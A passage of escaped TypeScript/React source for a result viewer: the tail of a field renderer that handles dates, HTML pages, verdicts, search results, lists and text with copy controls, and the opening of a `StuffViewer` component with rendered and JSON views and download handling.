every label. On a RESULT it is a sentence beside a value the reader is\n // there to read — one line of chrome at the top, ten inside a structure of\n // ten. The fact is worth having and is not worth printing, so it stays\n // reachable, and the dotted underline is what says it is there.\n const header = hideLabel ? null : <Label field={field} describe />;\n\n // The text a copy control would write, or `undefined` where there is none to\n // offer: only the two text kinds, and only when the value actually is a\n // non-empty string. A button that copies \"[object Object]\" or an empty string\n // is worse than no button - it reports success and hands over nothing.\n const copyText =\n (field.kind === 'text' || field.kind === 'prose') &&\n typeof unwrapped === 'string' &&\n unwrapped !== ''\n ? unwrapped\n : undefined;\n\n // A DATE, before the kind switch, for the same reason markup is: `native.Date`\n // is `{date, time}`, two properties, so nothing unwraps it and its node is an\n // `object`. Rendered structurally that is a two-field card whose second field\n // says \"not provided\", where the answer is a date. `readDateContent` already\n // takes exactly this model - the arm just never fired, because the kind says\n // `object`.\n if (isNativeDateNode(field)) {\n return (\n <div className=\"space-y-0.5\">\n {header}\n <DateValue value={unwrapped} />\n </div>\n );\n }\n\n // Markup, before the kind switch: a `native.Html` node's KIND is `object`, so\n // the switch below would render its two members as text and call it done.\n if (isNativeHtmlNode(field)) {\n const content = readHtmlContent(unwrapped);\n // The page is a file too, and the one a reader most wants to keep: its save\n // control rides the label row as a text value's copy control does, and\n // survives `hideLabel` for the same reason. It is the same row every other\n // file's controls sit in.\n const pagePath = location?.path.join('.');\n const pageFile =\n pagePath === undefined ? undefined : readStuffFile('markup', unwrapped, pagePath);\n const page = pageDownloadShown ? pageFile : undefined;\n // Its \"Download PDF\" joins the same row, and the PDF is named as the page's\n // own download is, with its own extension: `<downloadBaseName>.pdf` for a\n // result that is one page, the page's place after it for one inside a\n // structure, so the two files a reader saves of one page share a name.\n const pdfName =\n pdfShown && content && pageFile && location\n ? stem(planFileSave(pageFile, { baseName: location.baseName })?.name)\n : undefined;\n return (\n <div className=\"space-y-2\">\n {page || pdfName !== undefined ? (\n <div className=\"flex items-start gap-2\">\n <div className=\"min-w-0 flex-1\">{header}</div>\n {content && pdfName !== undefined ? (\n <PdfDownloadButton\n content={content}\n {...(pagePath === undefined ? {} : { path: pagePath })}\n {...(pdfName ? { fileName: pdfName } : {})}\n />\n ) : null}\n <FileActions file={page} />\n </div>\n ) : (\n header\n )}\n {content ? <HtmlPreview content={content} downloadPdf={false} /> : <Absent />}\n </div>\n );\n }\n\n // A named bag of contents, before the kind switch for the same reason - and\n // with the weakest descriptor of the three: a composite declares no members,\n // so its node is `kind: \"unknown\"` and its payload schema is an open object.\n // The default fallback for that is a JSON blob, which is the worst available\n // answer to a value that is by definition a map of ordinary contents.\n if (isNativeCompositeNode(field)) {\n const members = readCompositeContent(unwrapped);\n return (\n <div className=\"space-y-2\">\n {header}\n {members && members.length > 0 ? <CompositeValue members={members} /> : <Absent />}\n </div>\n );\n }\n\n // A page of an extracted document, before the kind switch: its node is an\n // `object` over `{text_and_images, page_view}`, and drawn as a record the\n // page's text sat two levels down, under a column named by `raw_html`.\n if (isNativePageNode(field)) {\n return (\n <div className=\"space-y-2\">\n {header}\n <PageValue field={field} value={unwrapped} depth={depth} />\n </div>\n );\n }\n\n // A verdict, in `app`: a judge's yes or no, rating or choice, which the\n // structural arms draw as a record of its measures (\"Yes no: Yes /\n // Probability: 1\"). Keyed by the concept the descriptor states, never by the\n // keys the value holds; a value that is not the concept's model falls\n // through to those arms, as any value that disagrees with its descriptor\n // does. `studio` keeps the record, which is what a builder checks a judge\n // against.\n const verdict = isApp ? nativeVerdictOf(field) : undefined;\n const reading = verdict ? readVerdict(verdict, unwrapped, s) : undefined;\n if (reading) {\n return (\n <div className=\"space-y-1\">\n {header}\n <VerdictValue reading={reading} prominent={whole} />\n </div>\n );\n }\n\n // A search result, in `app`: the answer a search wrote and the web pages it\n // was written from, which the structural arms draw as a record, the answer\n // squeezed beside its label and each page a file to download. Keyed by the\n // concept the descriptor states, never by the keys the value holds; a value\n // that is not the concept's model falls through to those arms, as a verdict\n // does. `studio` keeps the record, which is what a builder checks a search\n // against: the answer as written, and every source as the run returned it.\n const search =\n isApp && isNativeSearchResultNode(field) ? readSearchResultContent(unwrapped) : undefined;\n if (search) {\n return (\n <div className=\"space-y-2\">\n {/* The answer is a text, and it can be copied as every text value can:\n the source as written, citations included. */}\n {search.answer.trim() === '' ? (\n header\n ) : (\n <div className=\"flex items-start gap-2\">\n <div className=\"min-w-0 flex-1\">{header}</div>\n <CopyButton value={search.answer} label={s.copyText} />\n </div>\n )}\n <SearchResultValue content={search} />\n </div>\n );\n }\n\n switch (field.kind) {\n case 'object': {\n const memberValue = (child: RunField) =>\n typeof unwrapped === 'object' && unwrapped !== null\n ? ownProp(unwrapped as Record<string, unknown>, child.name)\n : undefined;\n // A long `text` value leaves the label's line in `app`, for the full\n // width under it, where it is typeset (see `isLongText`). `studio` keeps\n // every value beside its label, where a builder compares them.\n const sharesALine = (child: RunField) =>\n isInlineColumn(child) &&\n !(isApp && child.kind === 'text' && isLongText(unwrap(child, memberValue(child))));\n return (\n <div className=\"space-y-2\">\n {header}\n {/* Plain elements, NOT a `<dl>`, and that is a decision rather than an\n oversight. A definition list may hold only ordered `<dt>`/`<dd>`\n groups, and this grid also holds tables, frames and galleries -\n blocks a `<dl>` rejects (`definition-list` in the a11y gate). The\n only way to keep the semantics would be to separate the short\n fields from the rest, which reorders them, and authored order is a\n fact the descriptor carries deliberately. So: a layout, honestly\n labelled as one. */}\n <div\n className={cn(\n // A definition grid, not a stack. Label above value spends two\n // lines on every field, so a structure of ten is twenty lines of\n // alternating label and answer with nothing aligned. Beside each\n // other they take one line and the values line up, which is what\n // makes a record scannable.\n //\n // The label column is CAPPED at 40%, and that is not cosmetic. A\n // bare `auto` sizes to the widest label in the grid - label text\n // plus its concept pill - so one long field name starved every\n // value beside it, and inside a 400px panel a paragraph came out\n // as a ten-line ribbon in a 130px column. `min-content` keeps a\n // short label short; the cap stops any label taking more than its\n // share, whatever the panel width turns out to be.\n 'grid grid-cols-[minmax(min-content,40%)_minmax(0,1fr)] items-baseline gap-x-3 gap-y-1.5',\n // A list item already sits in its own bordered row; nesting a\n // second card inside it draws a box in a box for no information\n // gained.\n !hideLabel && 'rounded-lg border border-border bg-card/40 px-3.5 py-3',\n )}\n >\n {field.fields.map((child) =>\n // Only a SHORT value shares a line. Prose needs the full width, and\n // so does anything with chrome of its own - a table, a gallery, a\n // frame - which beside a label would be squeezed into whatever the\n // longest label left over.\n sharesALine(child) ? (\n <Fragment key={child.name}>\n <div className=\"min-w-0\">\n <Label field={child} describe />\n </div>\n {/* The value sits at the RIGHT EDGE of its column, not against\n the label. Names vary in length and answers do not line up\n behind them, so a left-aligned value column leaves a ragged\n seam down the middle of the record and the eye has to find\n each answer again. Flushed right, the answers form one\n column the reader can run down - the same reason a receipt,\n a spec sheet and a settings panel all do it.\n\n Only INLINE columns get this. Anything that took the\n `col-span-2` branch (prose, a table, a gallery, a frame)\n owns its full width and reads left-to-right like the\n paragraph or grid it is; right-aligning those would be\n aligning a block, not an answer. A chip row takes the same\n edge through `justify-end` on its `data-chips` hook, so a\n list of tags ends where the numbers above it do rather than\n starting under the label. */}\n {/* A value that WRAPS aligns left. The flex row ends a\n one-line value at the right edge, as above; one that\n needs more than a line is shrunk to the column's width\n and reads left to right inside it, because a paragraph\n flushed right has a ragged left edge on every line. The\n descriptor cannot say which a value will be - an\n unbounded `text` holds a company name in one record and\n ninety words in the next - and this needs no telling:\n the value's own width decides, without being measured. */}\n <div className=\"flex min-w-0 justify-end **:data-chips:justify-end\">\n <div className=\"min-w-0 text-left wrap-break-word\">\n <LeafValue field={child} value={memberValue(child)} />\n </div>\n </div>\n </Fragment>\n ) : (\n <div key={child.name} className=\"col-span-2 min-w-0\">\n <ResultAt segment={child.name}>\n <ResultField field={child} value={memberValue(child)} depth={depth + 1} />\n </ResultAt>\n </div>\n ),\n )}\n </div>\n </div>\n );\n }\n\n case 'list': {\n // A bare array, always: a plural payload's `ListContent {items}` wrapper is\n // unwrapped by `contentKey` above, exactly as a scalar's is, and a nested\n // array property is bare on the wire to begin with. The `items`-key sniff\n // that used to stand in for the schema is gone.\n const items = Array.isArray(unwrapped) ? unwrapped : [];\n const columns = recordColumns(field.item);\n return (\n <div className=\"space-y-2\">\n {/* `hideLabel` is honoured here as everywhere else - it was not, and\n the panel showed the label twice: once as its own header and again\n on the list beneath it. The COUNT is not part of the label though,\n so it survives on its own; it is a fact about this value rather\n than a name for it, and the panel's header does not carry it. */}\n {/* In `app`, the whole result a panel shows carries no count when\n the panel draws no title of its own: the host that mounts it\n heads the result with its own (\"7 results\"), and a second count\n under that heading says the same thing again. A panel the host\n names draws that name, which says no count, so the list keeps\n its own under it. Every other list keeps its count, a subtree a\n generative layout delegates included (see `PanelResult`). */}\n {isApp && hostHeaded ? null : (\n <div className=\"flex flex-wrap items-baseline gap-x-2\">\n {header}\n <span className=\"font-mono text-[10.5px] text-muted-foreground\">\n {s.itemsCount(items.length)}\n </span>\n </div>\n )}\n {items.length === 0 ? (\n <p className=\"text-[13px] italic text-muted-foreground\">{s.noItemsYet}</p>\n ) : isNativeValueNode(field.item) ? (\n // A list of dates, pages or composites is a list of VALUES, each read\n // by its own arm - one per line. Their nodes are `object` (or, for a\n // composite, `unknown`), so the branches below would tabulate a\n // date's `date` and `time`, print a page's markup source down a\n // column named by it, and show a composite as JSON. The arm keyed by\n // concept is the one that knows what each entry is.\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <ResultAt segment={String(index)}>\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </ResultAt>\n </div>\n ))}\n </div>\n ) : isNativePageNode(field.item) ? (\n // A document's pages, one after the other, each drawn by the page\n // arm and captioned with its number: a page is a document's unit,\n // and a table of pages had a row per page and the text nowhere.\n <div className=\"space-y-3\">\n {items.map((item, index) => (\n // An article, not a section: a named section is a landmark,\n // and a landmark's name must be unique on the page, which\n // \"Page 1\" is not once a host shows two results.\n <article\n key={index}\n aria-label={s.pageNumber(index + 1)}\n className=\"space-y-2 rounded-lg border border-border bg-card/40 px-3.5 py-3\"\n >\n <span className=\"text-[12px] font-medium text-muted-foreground\">\n {s.pageNumber(index + 1)}\n </span>\n <ResultAt segment={String(index)}>\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </ResultAt>\n </article>\n ))}\n </div>\n ) : isApp && nativeVerdictOf(field.item) ? (\n // Verdicts in `app`, one per line, each drawn by the verdict arm.\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <ResultAt segment={String(index)}>\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </ResultAt>\n </div>\n ))}\n </div>\n ) : columns && !(isApp && isNativeSearchResultNode(field.item)) ? (\n // Same shape every row: the labels are column headers, not per-row\n // labels. See `ObjectTable`. A list of search results in `app` is\n // the exception: a row would hide each answer's citations and its\n // sources until it is opened, so each search takes a card of its\n // own below and is drawn by the search arm. `studio` keeps the table.\n <ObjectTable\n columns={columns}\n element={field.item}\n items={items}\n label={field.title ?? humanizeFieldName(field.name)}\n />\n ) : TABULAR_KINDS.has(field.item.kind) ? (\n <ScalarChips field={field.item} items={items} />\n ) : field.item.kind === 'prose' || field.item.kind === 'unknown' ? (\n // `unknown` shares the LINES layout, and that is a reading of the\n // standard rather than a convenience. `unknown` is the deliberate\n // escape hatch: the producer could not map the node honestly and\n // said so, which is what an untyped `type = \"list\"` field derives\n // to. A card per entry would spend a bordered box and an index on\n // each value to say nothing extra - the card earns its place around\n // a STRUCTURE, and this is precisely the node we have been told is\n // not known to be one. Lines cost nothing and read the same whether\n // the entries turn out to be words or objects, because `LeafValue`\n // falls through to `RawValue` either way.\n <ScalarLines field={field.item} items={items} />\n ) : field.item.kind === 'image' ? (\n <ImageGallery items={items} />\n ) : field.item.kind === 'document' ? (\n <FileRows items={items} kind=\"document\" />\n ) : (\n // Nested, or carrying prose: a card per entry is what a table cell\n // cannot hold. The index label earns its place here, where the\n // entries are structures rather than values.\n <div className=\"space-y-2\">\n {items.map((item, index) => (\n <div\n key={index}\n className=\"space-y-2 rounded-lg border border-border bg-card/40 px-3.5 py-3\"\n >\n <span className=\"font-mono text-[10px] text-muted-foreground\">{index + 1}</span>\n <ResultAt segment={String(index)}>\n <ResultField field={field.item} value={item} depth={depth + 1} hideLabel />\n </ResultAt>\n </div>\n ))}\n </div>\n )}\n </div>\n );\n }\n\n case 'boolean':\n case 'date':\n case 'document':\n case 'image':\n case 'text':\n case 'prose':\n case 'number':\n case 'enum':\n case 'unknown': {\n // A text typeset as Markdown that opens with a heading of its own names\n // itself, in `app`: its label is said rather than drawn, because the\n // label set over the heading read as the same title twice (\"Executive\n // summary\" over \"Launch Executive Summary\"). `studio` keeps it, since\n // there the label is the identifier, not a title. Under `hideLabel`\n // there is no label to give way: a panel whose whole result this is has\n // already left out its own title by the same predicate\n // (`resultHeadsItself`), and says it rather than draws it.\n const typeset = typesetText(field, unwrapped, isApp);\n const headed = !hideLabel && namesItself(field, unwrapped, isApp);\n const labelDrawn = !hideLabel && !headed;\n return (\n <div\n className={cn(\n field.kind === 'image' ? 'space-y-1.5' : 'space-y-0.5',\n // Holds the copy control's float, when it floats.\n copyText !== undefined && !labelDrawn && 'flow-root',\n )}\n >\n {/* The copy control rides the label row, and it is on every TEXT\n value whether or not it turns out to be markdown. A result view is\n where a person goes to take something away, and the alternative\n was selecting a rendered heading, list and table by dragging -\n which picks up the layout and loses the source. What it writes is\n the source the run produced, not the typeset rendering.\n\n It survives `hideLabel`, which is the top-level case `StuffViewer`\n uses: the header moves up to the panel, the button does not follow\n it, and a text result with no way to copy it would be exactly the\n one worth copying. With no label drawn - that case, or a text that\n heads itself - it floats at the text's top right and the text's\n first lines run beside it, where a row of its own left it alone\n in a corner over an empty band. */}\n {copyText === undefined ? (\n // A text that heads itself always has something to copy, so this\n // arm draws the label exactly when it is not hidden.\n header\n ) : labelDrawn ? (\n <div className=\"flex items-start gap-2\">\n <div className=\"min-w-0 flex-1\">{header}</div>\n <CopyButton value={copyText} label={s.copyText} />\n </div>\n ) : (\n <>\n {headed && <Label field={field} describe unseen />}\n <div className=\"float-right ml-2\">\n <CopyButton value={copyText} label={s.copyText} />\n </div>\n </>\n )}\n {/* The RAW value: `LeafValue` owns the unwrap, so that a chip, a line,\n a table cell and this stacked row cannot disagree about it. A text\n typeset as Markdown is the exception, drawn from the one decision\n (`typesetText`) that also decides whether it heads itself: a\n `prose` value, as `LeafValue` would set it, and a long `text`\n value in `app`, typeset as the prose it is (see `isLongText`),\n where a chip and a cell keep it plain. So is a document that is\n the whole result a panel shows, which is told so: a PDF there\n opens without a click (see `DocumentValue`). */}\n {typeset !== undefined ? (\n <Markdown text={typeset} />\n ) : field.kind === 'document' && whole ? (\n <DocumentValue value={unwrapped} whole />\n ) : (\n <LeafValue field={field} value={value} />\n )}\n </div>\n );\n }\n }\n\n // Unreachable while the switch covers `RunFieldKind`. A twelfth kind added to\n // the descriptor fails to compile HERE — which is the point of the assertion,\n // and is what a `default:` returning `String(value)` cost: a `document` result\n // rendered as `[object Object]`, silently, with nothing to notice it.\n field satisfies never;\n return null;\n}\n\n/** A saved file's name without its extension: what a PDF of the same page is called. */\nfunction stem(name: string | undefined): string {\n return name === undefined ? '' : name.replace(/\\.[^.]+$/, '');\n}\n","'use client';\n\nimport type * as React from 'react';\nimport { useCallback, useEffect, useRef, useState, useSyncExternalStore } from 'react';\nimport { Check, Copy, Download, Loader2 } from 'lucide-react';\nimport type { RunField } from '../core';\nimport { isNativeHtmlNode, readHtmlContent } from '../core/native-content';\nimport { planFileSave, planStuffSave, splitFileName, type SavePlan } from '../core/save-plan';\nimport { readStuffFile } from '../core/stuff-files';\nimport {\n Absent,\n PanelResult,\n ResultField,\n ResultHeader,\n resultHeadsItself,\n stringifyValue,\n} from './result-field';\nimport { useFieldPresentation } from './field-presentation';\nimport { useFieldStrings } from './field-strings';\nimport { HtmlPreview } from './html-preview';\nimport {\n PanelEnvOverride,\n useFileDownloadShown,\n usePdfSaveShown,\n useResolveUrl,\n useResultDownloadShown,\n useSaveFiles,\n type DownloadDisplay,\n type TableLayout,\n} from './result-env';\nimport { PdfDownloadButton } from './pdf-download-button';\nimport { useFileNamePrompt } from './file-name-dialog';\nimport { ResultRoot } from './result-location';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\n/**\n * A pipe's result, with the two views a result actually needs.\n *\n * ## Two, and why not three\n *\n * **Rendered** is the answer for a person: the descriptor-driven view, which\n * knows a field is an enum, that a date arrived in the serializer's typed\n * envelope, that fifteen records are a table. **JSON** is the answer for whoever\n * is debugging the pipe: what exactly came back, verbatim, copyable. Those are\n * different jobs and neither substitutes for the other.\n *\n * They are deliberately NOT peers, and the toggle should not read as a menu of\n * equal options. One is the result; the other is the receipt. Rendered opens\n * first, always.\n *\n * A third view is the one to resist. An engine-rendered HTML or plain-text\n * presentation — the shape the runtime's own viewer offers — is a second human\n * rendering of the same payload, produced by another codebase, carrying no\n * descriptor (so it cannot know a kind, a plurality or a nesting) and unable to\n * match a host's design system. It is a renderer that cannot be improved without\n * shipping the engine. If a plain-text form is wanted, it is a COPY FORMAT and\n * belongs behind a copy control, not beside the view that reads the standard.\n *\n * ## Which views a reader is offered\n *\n * The JSON view is a builder's tool. In `studio` both views are offered; in\n * `app` only the result is, so a person reading a method app's answer is not\n * handed a switch to a receipt they have no use for. `views` overrides either\n * default, and the switch is drawn only when it offers more than one view.\n *\n * ## A result that is one page\n *\n * A result whose node IS `native.Html`, or a concept refining it (read off the\n * descriptor's `concept_ref` and `refines`, never off the value), is one page,\n * and the panel shows it as that page: one row holding the title (none in\n * `app`, where the page carries its own), \"Download\n * PDF\" as the primary control and one HTML download, then the page edge to\n * edge with no box around it. The page's own control row and the header's\n * download saved the same file, so they are one control here.\n */\n\nexport type StuffViewerView = 'rendered' | 'json';\n\n/** Both views, the result first: what `studio` offers. */\nconst ALL_VIEWS: readonly StuffViewerView[] = ['rendered', 'json'];\n/** The result alone: what `app` offers, where the JSON receipt is a builder's tool. */\nconst RESULT_ONLY: readonly StuffViewerView[] = ['rendered'];\n\nexport interface StuffViewerProps {\n field: RunField;\n value: unknown;\n /**\n * The STUFF's name, for the header — `report_pages`, not `output`.\n *\n * A result descriptor's root node is named by the engine that built it, and\n * `build_output_form` calls it `output` for every pipe there has ever been.\n * That is correct in the artifact: the descriptor describes a pipe's output\n * slot, which has no name of its own. It is wrong on screen, where the reader\n * is looking at ONE data item and every other surface — the graph node they\n * clicked, the input panel beside it, the method's own code — calls that item\n * by the name the author gave it.\n *\n * So the name comes from the caller, because only the caller knows it: the\n * graph knows which node was opened, a run page knows which variable it is\n * showing. Absent, the descriptor's own name stands in `studio`, which keeps\n * a host that has nothing better to say honest rather than blank. In `app`\n * the panel draws a title only when this is given: \"Output\" tells a method\n * app's reader nothing, and a host that heads the result itself wants no\n * second heading under its own.\n *\n * It also supplies `downloadBaseName`'s default, so the file a reader saves\n * is named after the thing they were reading rather than `output.json`. It\n * replaces a `title` the root carries as well: that names the output slot,\n * not the stuff.\n */\n name?: string;\n /**\n * Which views the reader may switch between, in the switch's order. Unset,\n * it follows the presentation: both in `studio`, the rendered result alone in\n * `app`, where the JSON receipt is a builder's tool. The switch is drawn only\n * when more than one view is offered; an empty list counts as the rendered\n * result alone.\n */\n views?: readonly StuffViewerView[];\n /**\n * Which view opens first. Rendered, unless a host has a reason. A view not\n * among `views` opens the first one offered instead.\n */\n defaultView?: StuffViewerView;\n /**\n * Names the saved files, whichever control saved them: the base name names\n * the whole stuff, so the JSON copy is `<baseName>.json`, a file inside the\n * stuff that carries no name of its own is `<baseName>-<place>`, and a stuff\n * that is one file saves as `<baseName>.<ext>`. Defaults to the field's name,\n * which is what the header shows. Give each stuff a distinct base name, as\n * the default already is: two panels handed the same one save their unnamed\n * files under the same names.\n */\n downloadBaseName?: string;\n /**\n * Which download controls this panel draws, laid key by key over what\n * `ResultEnvProvider` says: `{ result: false }` drops the panel's Download\n * and keeps each file's own button, `{ files: false }` the reverse. For a\n * surface where saving makes no sense (a preview inside an editor, say), set\n * both to `false`.\n */\n downloads?: DownloadDisplay;\n /**\n * What a table of records does in a box narrower than its columns, laid over\n * what `ResultEnvProvider` says. Unset, it scrolls sideways, as it always\n * has. `'stack'` is for a reader on a phone: a table of up to three columns\n * stays a table and wraps, one of four to six becomes one block of label and\n * value pairs per row while the table's own box is narrower than 640px, and\n * one of more than six does so at every width. Nothing scrolls sideways\n * either way. It reaches every table in the result, a table inside an open\n * row included.\n */\n tableLayout?: TableLayout;\n /**\n * Whether the host draws this panel inside a panel of its own, laid over\n * what `ResultEnvProvider` says. Every table in the result, except one\n * nested in another table (in an open row or in a cell), then drops its\n * own rounded hairline box and keeps its header band and its row rules, so\n * it does not read as a box in the host's box. Unset, tables keep their\n * box, as on a bare page. The same seam as `MethodForm`'s `framed`.\n */\n framed?: boolean;\n className?: string;\n}\n\n/**\n * JSON, with the structure receding and the data forward.\n *\n * A flat `<pre>` is the right shape for a receipt and stays one — what it was\n * missing is contrast. Keys, braces and commas are scaffolding a reader skips;\n * values are what they came for, and undifferentiated monospace makes finding\n * one a character-by-character scan.\n *\n * Two decisions worth stating. **Weight and the muted token, never a palette**:\n * the host owns its colours and a hand-picked green for strings is a colour that\n * fails somebody's theme, so structure is `muted-foreground` and data is\n * `foreground`. And **no collapsible tree**: that would be a second structured\n * browser competing with the Result view, which already reads the descriptor and\n * does structure properly. Two views, not three — the same argument, one level\n * down.\n */\nconst JSON_TOKEN_RE =\n /(\"(?:\\\\.|[^\"\\\\])*\"\\s*:)|(\"(?:\\\\.|[^\"\\\\])*\")|(\\b(?:true|false|null)\\b|-?\\d+(?:\\.\\d+)?(?:[eE][+-]?\\d+)?)/g;\n\nfunction highlight(json: string) {\n const out: React.ReactNode[] = [];\n let last = 0;\n for (const match of json.matchAll(JSON_TOKEN_RE)) {\n const [token, key, str, literal] = match;\n const at = match.index;\n if (at > last) {\n // Braces, brackets, commas and whitespace - the scaffolding.\n out.push(\n <span key={`p${last}`} className=\"text-muted-foreground\">\n {json.slice(last, at)}\n </span>,\n );\n }\n out.push(\n <span\n key={at}\n className={\n key ? 'text-muted-foreground' : str ? 'text-foreground' : 'font-semibold text-foreground'\n }\n >\n {token}\n </span>,\n );\n last = at + token.length;\n void literal;\n }\n if (last < json.length) {\n out.push(\n <span key=\"tail\" className=\"text-muted-foreground\">\n {json.slice(last)}\n </span>,\n );\n }\n return out;\n}\n\n/** The clipboard's presence never changes while a page is open. */\nconst noSubscription = () => () => {};\nconst hasClipboard = () => typeof navigator !== 'undefined' && Boolean(navigator.clipboard);\n\n/**\n * The payload as JSON — the receipt, with the whole of it one click from the\n * clipboard.\n *\n * Exported because it is also the honest FLOOR: a host that holds a value but\n * not the artifacts describing it (an older engine, a spec restored without its\n * validate report) should show the value and say why it is not laid out, rather\n * than show nothing. That is a different thing from what `StuffViewer`'s JSON\n * tab was — one labelled fallback, not one of three guesses offered as a\n * choice.\n */\nexport function JsonView({ value }: { value: unknown }) {\n const s = useFieldStrings();\n const [copied, setCopied] = useState(false);\n // Whether the page can copy: `false` on the server and while hydrating,\n // the clipboard's answer after. Read while rendering, it drew the Copy JSON\n // button and the block's room for it on the client alone, a hydration\n // mismatch.\n const canCopy = useSyncExternalStore(noSubscription, hasClipboard, () => false);\n // The check mark reverts after a moment. The timer belongs to the effect, so\n // it is cleared when the control unmounts rather than firing into a\n // component, or a document, that is gone.\n useEffect(() => {\n if (!copied) return;\n const timer = window.setTimeout(() => setCopied(false), 1500);\n return () => window.clearTimeout(timer);\n }, [copied]);\n // `stringifyValue` handles the shapes `JSON.stringify` refuses (a BigInt, a\n // circular reference) rather than throwing inside a view whose whole purpose\n // is to show what is there.\n const text =\n value === null || value === undefined\n ? undefined\n : typeof value === 'object'\n ? stringifyValue(value)\n : JSON.stringify(value);\n\n // Whether a line is wider than the block, so the block scrolls sideways: a\n // scroll is a place a keyboard must reach, so the block takes focus while it\n // overflows, and only then, as a result table's box does. A short value\n // left a stop per block that scrolled nothing. Measured, because only the\n // browser knows a line's width; it decides a tab stop, never the block's\n // shape, so a server and the first paint render the same block.\n const block = useRef<HTMLPreElement>(null);\n const [overflows, setOverflows] = useState(false);\n useEffect(() => {\n const pre = block.current;\n if (!pre) return;\n const measure = () => setOverflows(pre.scrollWidth > pre.clientWidth);\n measure();\n // A host's monospace webfont that arrives after this widens every line\n // inside a box that keeps its size, which the observer never hears of.\n const fonts = typeof document === 'undefined' ? undefined : document.fonts;\n fonts?.addEventListener('loadingdone', measure);\n const observer =\n typeof ResizeObserver === 'undefined' ? undefined : new ResizeObserver(measure);\n observer?.observe(pre);\n return () => {\n fonts?.removeEventListener('loadingdone', measure);\n observer?.disconnect();\n };\n }, [text]);\n\n if (text === undefined) {\n return <Absent />;\n }\n return (\n <div className=\"relative\">\n {canCopy && (\n <button\n type=\"button\"\n onClick={() => {\n void navigator.clipboard.writeText(text).then(() => setCopied(true));\n }}\n aria-label={s.copyJson}\n className={cn(\n // 44 by 44 on a phone, like every control a finger taps.\n 'absolute right-2 top-2 inline-flex items-center justify-center rounded border border-border bg-card p-1 text-muted-foreground hover:text-foreground max-sm:size-11',\n focusOutlineClass,\n )}\n >\n {copied ? (\n <Check aria-hidden className=\"size-3.5\" />\n ) : (\n <Copy aria-hidden className=\"size-3.5\" />\n )}\n </button>\n )}\n {/* A region that scrolls sideways takes focus while it does, so a\n keyboard can scroll it, and is named, as a result table's is. On a\n phone, beside the Copy JSON button, it is never shorter than the\n button's 44px and its inset, so a scalar's one line keeps the button\n inside its border. */}\n <pre\n ref={block}\n role=\"group\"\n aria-label={s.viewJson}\n {...(overflows ? { tabIndex: 0 } : {})}\n className={cn(\n 'overflow-x-auto rounded-lg border border-border bg-card/40 px-3.5 py-3 pr-12 font-mono text-[12px] leading-relaxed',\n canCopy && 'max-sm:min-h-[60px] max-sm:pr-14',\n focusOutlineClass,\n )}\n >\n {highlight(text)}\n </pre>\n </div>\n );\n}\n\n/** `field` under the name its host gave it, with no title of the descriptor's left to outrank it. */\nfunction underHostName(field: RunField, name: string): RunField {\n const renamed = { ...field, name };\n delete renamed.title;\n return renamed;\n}\n\n/** One press of the panel's Download, and the result it saved. */\ninterface DownloadAttempt {\n field: RunField;\n baseName: string;\n value: unknown;\n /** The same three as text, written once, when the press is made. */\n key: string | undefined;\n}\n\n/**\n * Whether an attempt was made on the result now shown.\n *\n * The same descriptor, base name and value objects answer at once. Otherwise\n * the two are compared as text, so an equal result a host rebuilt on this\n * render still matches, while two results that hold an equal value under\n * different names or descriptors do not. The text is written only while an\n * attempt is on screen, which is the only time the question is asked.\n */\nfunction isShownResult(\n attempt: DownloadAttempt,\n field: RunField,\n baseName: string,\n value: unknown,\n): boolean {\n if (attempt.field === field && attempt.baseName === baseName && attempt.value === value) {\n return true;\n }\n return attempt.key !== undefined && attempt.key === resultKey(field, baseName, value);\n}\n\n/** A result as text, for {@link isShownResult}; `undefined` for a value JSON cannot write. */\nfunction resultKey(field: RunField, baseName: string, value: unknown): string | undefined {\n try {\n return JSON.stringify([baseName, field, value], (_key, member: unknown) =>\n typeof member === 'bigint' ? `${member}n` : member,\n );\n } catch {\n return undefined;\n }\n}\n\nexport function StuffViewer({ downloads, tableLayout, framed, ...props }: StuffViewerProps) {\n // The panel's own settings reach every file button and every table in its\n // tree, not only its header, so they are laid over the provider's before\n // anything beneath reads them.\n return (\n <PanelEnvOverride downloads={downloads} tableLayout={tableLayout} framed={framed}>\n <StuffPanel {...props} />\n </PanelEnvOverride>\n );\n}\n\nfunction StuffPanel({\n field,\n value,\n name,\n views: viewsProp,\n defaultView = 'rendered',\n downloadBaseName,\n className,\n}: Omit<StuffViewerProps, 'downloads' | 'tableLayout' | 'framed'>) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const offered =\n viewsProp && viewsProp.length > 0\n ? viewsProp\n : viewsProp || presentation === 'app'\n ? RESULT_ONLY\n : ALL_VIEWS;\n // The caller's name wins over the descriptor's, and it is applied to the\n // FIELD rather than passed to the header alone: the download's default base\n // name reads the same property, and the two naming the item differently is\n // exactly the drift this component exists to prevent. It wins over a title\n // the descriptor's root carries too, which would otherwise outrank it in\n // every label (`fieldLabel`): the root names the pipe's output slot, the\n // same for every stuff a host shows through it, and only the caller knows\n // which stuff this is. The host's name gives way to one thing alone, the\n // heading a text the run wrote opens with (`headsItself`, below).\n const named = name ? underHostName(field, name) : field;\n const baseName = downloadBaseName ?? named.name ?? 'result';\n const [chosen, setView] = useState<StuffViewerView>(defaultView);\n // A host may narrow the views after mounting (a presentation switched to\n // `app`), so the view shown is always one still offered.\n const view = offered.includes(chosen) ? chosen : (offered[0] ?? 'rendered');\n // A download belongs to the result it was made from. A host that keeps this\n // panel mounted and hands it the next result (a rerun, another node) must not\n // see the last result's failures under the new one, nor a save still in\n // flight for the last one disable the control or report on this one. So each\n // attempt records the result it saved, and only an attempt on the result now\n // shown is drawn — matched by what it holds rather than by the object, since\n // a host may rebuild an equal result on every render.\n const [saving, setSaving] = useState<DownloadAttempt | null>(null);\n // The names of the files the last download could not hand over, shown until\n // the next one. Empty when everything arrived.\n const [missed, setMissed] = useState<{\n attempt: DownloadAttempt;\n names: readonly string[];\n } | null>(null);\n const latest = useRef<DownloadAttempt | null>(null);\n const savingShown = saving !== null && isShownResult(saving, field, baseName, value);\n const missedShown =\n missed && isShownResult(missed.attempt, field, baseName, value) ? 